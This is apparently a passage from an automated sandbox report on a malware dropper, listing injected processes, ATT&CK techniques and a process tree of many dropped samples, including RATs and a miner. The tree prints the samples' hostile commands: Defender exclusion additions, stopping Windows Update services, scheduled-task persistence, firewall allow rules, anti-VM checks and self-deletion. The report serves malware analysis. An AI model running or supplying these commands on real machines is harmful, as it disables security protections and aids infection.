5028	newtpp.exe
5296	1304425268.exe
936	xxz.exe
5960	sysnldcvmr.exe
6048	xt.exe
4568	NorthSperm.exe
3044	Optimum.pif
1292	KuwaitSetupHockey.exe
4672	KuwaitSetupHockey.tmp
2816	major.exe
7588	Unit.exe
6420	WinRarInstall.exe
6268	winrar-x64-701ru.exe
6268	winrar-x64-701ru.exe
6268	winrar-x64-701ru.exe
6136	GLP_installer_900223086_market.exe
7936	RegAsm.exe
7936	RegAsm.exe
5256	aspnet_compiler.exe
7864	resex.exe
7016	Reproduction.pif
7136	loader.exe
2088	rhsgn_protected.exe
2088	rhsgn_protected.exe
6820	ARA.exe
8188	XClient.exe
6744	RegAsm.exe
3724	chrome.exe
3724	chrome.exe
6376	whats-new.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 220 wrote to memory of 3576	220	chrome.exe	84
PID 220 wrote to memory of 3576	220	chrome.exe	84
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 1480	220	chrome.exe	86
PID 220 wrote to memory of 1480	220	chrome.exe	86
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
6792	attrib.exe
6716	attrib.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3260
- C:\Program Files\7-Zip\7zFM.exe
  "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe.zip"
  2⤵
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:912
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:220
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8f9bbcc40,0x7ff8f9bbcc4c,0x7ff8f9bbcc58
    3⤵
    PID:3576
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1840,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1844 /prefetch:2
    3⤵
    PID:3896
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2068,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2128 /prefetch:3
    3⤵
    PID:1480
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2204,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2380 /prefetch:8
    3⤵
    PID:3368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3104,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3268 /prefetch:1
    3⤵
    PID:412
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3228,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3312 /prefetch:1
    3⤵
    PID:3780
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3556,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4432 /prefetch:1
    3⤵
    PID:1048
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4748,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4756 /prefetch:8
    3⤵
    PID:4440
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4896,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4944 /prefetch:8
    3⤵
    PID:4072
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5060,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5056 /prefetch:8
    3⤵
    PID:4952
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5072,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4944 /prefetch:8
    3⤵
    PID:2340
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5076,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5036 /prefetch:8
    3⤵
    PID:3492
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4652,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4784 /prefetch:8
    3⤵
    PID:1884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=5144,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5344 /prefetch:2
    3⤵
    PID:3248
- - C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe
    "C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe" --reenable-autoupdates --system-level
    3⤵
    - Drops file in Windows directory
    PID:1184
  - - C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe
      "C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x244,0x248,0x24c,0x220,0x250,0x7ff7f3004698,0x7ff7f30046a4,0x7ff7f30046b0
      4⤵
      Drops file in Windows directory
      PID:3704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=5428,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5452 /prefetch:1
    3⤵
    PID:2952
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5520,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3516 /prefetch:8
    3⤵
    - Modifies registry class
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    PID:3724
  - - C:\Users\Admin\Desktop\4363463463464363463463463.exe
      "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4936
    - - C:\Users\Admin\Desktop\Files\crypteda.exe
        
        "C:\Users\Admin\Desktop\Files\crypteda.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1208
      - C:\Users\Admin\AppData\Roaming\OHDhueyr0e.exe
        
        "C:\Users\Admin\AppData\Roaming\OHDhueyr0e.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2660
      - C:\Users\Admin\AppData\Roaming\Dn8g5KQZ4r.exe
        
        "C:\Users\Admin\AppData\Roaming\Dn8g5KQZ4r.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies system certificate store
        
        PID:5016
    - - C:\Users\Admin\Desktop\Files\nxmr.exe
        
        "C:\Users\Admin\Desktop\Files\nxmr.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:6056
    - - C:\Users\Admin\Desktop\Files\AA_v3.5.exe
        
        "C:\Users\Admin\Desktop\Files\AA_v3.5.exe"
        5⤵
        
        PID:6400
    - - C:\Users\Admin\Desktop\Files\fusca%20game.exe
        
        "C:\Users\Admin\Desktop\Files\fusca%20game.exe"
        5⤵
        
        PID:11080
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\Desktop\Files\fusca%20game.exe" "fusca%20game.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        
        PID:3584
    - - C:\Users\Admin\Desktop\Files\stub.exe
        
        "C:\Users\Admin\Desktop\Files\stub.exe"
        5⤵
        
        PID:9860
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9860 -s 456
        6⤵
        Program crash
        
        PID:11008
    - - C:\Users\Admin\Desktop\Files\VidsUsername.exe
        
        "C:\Users\Admin\Desktop\Files\VidsUsername.exe"
        5⤵
        
        PID:7636
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c move Recreation Recreation.bat & Recreation.bat
        6⤵
        
        PID:9124
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        
        PID:12136
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa opssvc"
        7⤵
        
        PID:3796
    - - C:\Users\Admin\Desktop\Files\AsyncClient.exe
        
        "C:\Users\Admin\Desktop\Files\AsyncClient.exe"
        5⤵
        
        PID:8156
    - - C:\Users\Admin\Desktop\Files\Security.exe
        
        "C:\Users\Admin\Desktop\Files\Security.exe"
        5⤵
        
        PID:7092
      - C:\Users\Admin\AppData\Local\Temp\$77Security.exe
        
        "C:\Users\Admin\AppData\Local\Temp\$77Security.exe"
        6⤵
        
        PID:12032
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "$77Security" /tr "C:\Users\Admin\AppData\Roaming\$77Security.exe"
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11436
      - C:\Users\Admin\AppData\Local\Temp\Install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
        6⤵
        
        PID:6636
    - - C:\Users\Admin\Desktop\Files\num.exe
        
        "C:\Users\Admin\Desktop\Files\num.exe"
        5⤵
        
        PID:8528
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Desktop\Files\num.exe" & del "C:\ProgramData\*.dll"" & exit
        6⤵
        
        PID:12240
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        7⤵
        Delays execution with timeout.exe
        
        PID:6788
    - - C:\Users\Admin\Desktop\Files\njrtdhadawt.exe
        
        "C:\Users\Admin\Desktop\Files\njrtdhadawt.exe"
        5⤵
        
        PID:7620
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\Desktop\Files\njrtdhadawt.exe" & rd /s /q "C:\ProgramData\CFHCGHJDBFII" & exit
        6⤵
        
        PID:10080
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        7⤵
        Delays execution with timeout.exe
        
        PID:8212
    - - C:\Users\Admin\Desktop\Files\Pichon.exe
        
        "C:\Users\Admin\Desktop\Files\Pichon.exe"
        5⤵
        
        PID:6428
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Loli169.bat" "
        6⤵
        
        PID:12452
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic diskdrive get Model
        7⤵
        
        PID:9220
        
        C:\Windows\system32\findstr.exe
        
        findstr /i "DADY HARDDISK QEMU HARDDISK WDC WDS100T2B0A"
        7⤵
        
        PID:8452
    - - C:\Users\Admin\Desktop\Files\backdoor.exe
        
        "C:\Users\Admin\Desktop\Files\backdoor.exe"
        5⤵
        
        PID:9812
  - - C:\Users\Admin\Desktop\4363463463464363463463463.exe
      "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3312
    - - C:\Users\Admin\Desktop\Files\jerniuiopu.exe
        
        "C:\Users\Admin\Desktop\Files\jerniuiopu.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:496
      - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "NET framework" /sc ONLOGON /tr "C:\Users\Admin\Desktop\Files\jerniuiopu.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5056
    - - C:\Users\Admin\Desktop\Files\test.exe
        
        "C:\Users\Admin\Desktop\Files\test.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2748
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
        6⤵
        
        PID:5876
    - - C:\Users\Admin\Desktop\Files\t2.exe
        
        "C:\Users\Admin\Desktop\Files\t2.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:3540
      - C:\Windows\sysklnorbcv.exe
        
        C:\Windows\sysklnorbcv.exe
        6⤵
        Modifies security service
        Windows security bypass
        Blocklisted process makes network request
        Executes dropped EXE
        Windows security modification
        System Location Discovery: System Language Discovery
        
        PID:4840
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        7⤵
        
        PID:2984
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3644
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2060
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        8⤵
        Launches sc.exe
        
        PID:2088
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        8⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4896
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        8⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3944
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        8⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4976
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS
        8⤵
        Launches sc.exe
        
        PID:2088
        
        C:\Users\Admin\AppData\Local\Temp\3368221667.exe
        
        C:\Users\Admin\AppData\Local\Temp\3368221667.exe
        7⤵
        
        PID:6228
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        8⤵
        
        PID:7500
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        9⤵
        
        PID:5660
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        8⤵
        
        PID:5820
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        9⤵
        
        PID:6596
        
        C:\Users\Admin\AppData\Local\Temp\729613342.exe
        
        C:\Users\Admin\AppData\Local\Temp\729613342.exe
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:7984
        
        C:\Users\Admin\AppData\Local\Temp\303035728.exe
        
        C:\Users\Admin\AppData\Local\Temp\303035728.exe
        7⤵
        
        PID:6516
        
        C:\Users\Admin\AppData\Local\Temp\2033932892.exe
        
        C:\Users\Admin\AppData\Local\Temp\2033932892.exe
        8⤵
        
        PID:7280
        
        C:\Users\Admin\AppData\Local\Temp\707431954.exe
        
        C:\Users\Admin\AppData\Local\Temp\707431954.exe
        7⤵
        
        PID:6996
        
        C:\Users\Admin\AppData\Local\Temp\217182096.exe
        
        C:\Users\Admin\AppData\Local\Temp\217182096.exe
        7⤵
        
        PID:8620
    - - C:\Users\Admin\Desktop\Files\Indentif.exe
        
        "C:\Users\Admin\Desktop\Files\Indentif.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:1884
    - - C:\Users\Admin\Desktop\Files\tdrpload.exe
        
        "C:\Users\Admin\Desktop\Files\tdrpload.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:4668
    - - C:\Users\Admin\Desktop\Files\KuwaitSetupHockey.exe
        
        "C:\Users\Admin\Desktop\Files\KuwaitSetupHockey.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:1292
      - C:\Users\Admin\AppData\Local\Temp\is-3SLQQ.tmp\KuwaitSetupHockey.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-3SLQQ.tmp\KuwaitSetupHockey.tmp" /SL5="$602C0,3849412,851968,C:\Users\Admin\Desktop\Files\KuwaitSetupHockey.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:4672
    - - C:\Users\Admin\Desktop\Files\major.exe
        
        "C:\Users\Admin\Desktop\Files\major.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:2816
    - - C:\Users\Admin\Desktop\Files\T3.exe
        
        "C:\Users\Admin\Desktop\Files\T3.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1440
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" Start-Sleep -Seconds 5; Remove-Item -Path 'C:\Users\Admin\Desktop\Files\T3.exe' -Force
        6⤵
        
        PID:7324
    - - C:\Users\Admin\Desktop\Files\Unit.exe
        
        "C:\Users\Admin\Desktop\Files\Unit.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:7588
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7588 -s 448
        6⤵
        Program crash
        
        PID:5412
    - - C:\Users\Admin\Desktop\Files\GREENpackage.exe
        
        "C:\Users\Admin\Desktop\Files\GREENpackage.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8144
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
        6⤵
        
        PID:6588
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
        6⤵
        
        PID:6664
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8144 -s 1044
        6⤵
        Program crash
        
        PID:7364
    - - C:\Users\Admin\Desktop\Files\NJRat.exe
        
        "C:\Users\Admin\Desktop\Files\NJRat.exe"
        5⤵
        Drops startup file
        Adds Run key to start application
        
        PID:1596
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\Desktop\Files\NJRat.exe" "NJRat.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:3968
    - - C:\Users\Admin\Desktop\Files\armadegon.exe
        
        "C:\Users\Admin\Desktop\Files\armadegon.exe"
        5⤵
        
        PID:1616
      - C:\Users\Admin\Desktop\Files\armadegon.exe
        
        "C:\Users\Admin\Desktop\Files\armadegon.exe"
        6⤵
        
        PID:2032
      - C:\Users\Admin\Desktop\Files\armadegon.exe
        
        "C:\Users\Admin\Desktop\Files\armadegon.exe"
        6⤵
        
        PID:5760
      - C:\Users\Admin\Desktop\Files\armadegon.exe
        
        "C:\Users\Admin\Desktop\Files\armadegon.exe"
        6⤵
        
        PID:3644
      - C:\Users\Admin\Desktop\Files\armadegon.exe
        
        "C:\Users\Admin\Desktop\Files\armadegon.exe"
        6⤵
        
        PID:1744
        
        C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe"
        7⤵
        
        PID:2032
        
        C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe"
        8⤵
        
        PID:6268
    - - C:\Users\Admin\Desktop\Files\whats-new.exe
        
        "C:\Users\Admin\Desktop\Files\whats-new.exe"
        5⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:6376
    - - C:\Users\Admin\Desktop\Files\kmvcsaed.exe
        
        "C:\Users\Admin\Desktop\Files\kmvcsaed.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:7828
    - - C:\Users\Admin\Desktop\Files\Identifications.exe
        
        "C:\Users\Admin\Desktop\Files\Identifications.exe"
        5⤵
        
        PID:7184
    - - C:\Users\Admin\Desktop\Files\s.exe
        
        "C:\Users\Admin\Desktop\Files\s.exe"
        5⤵
        
        PID:7340
      - C:\Windows\sysvplervcs.exe
        
        C:\Windows\sysvplervcs.exe
        6⤵
        
        PID:5308
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        7⤵
        
        PID:7000
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
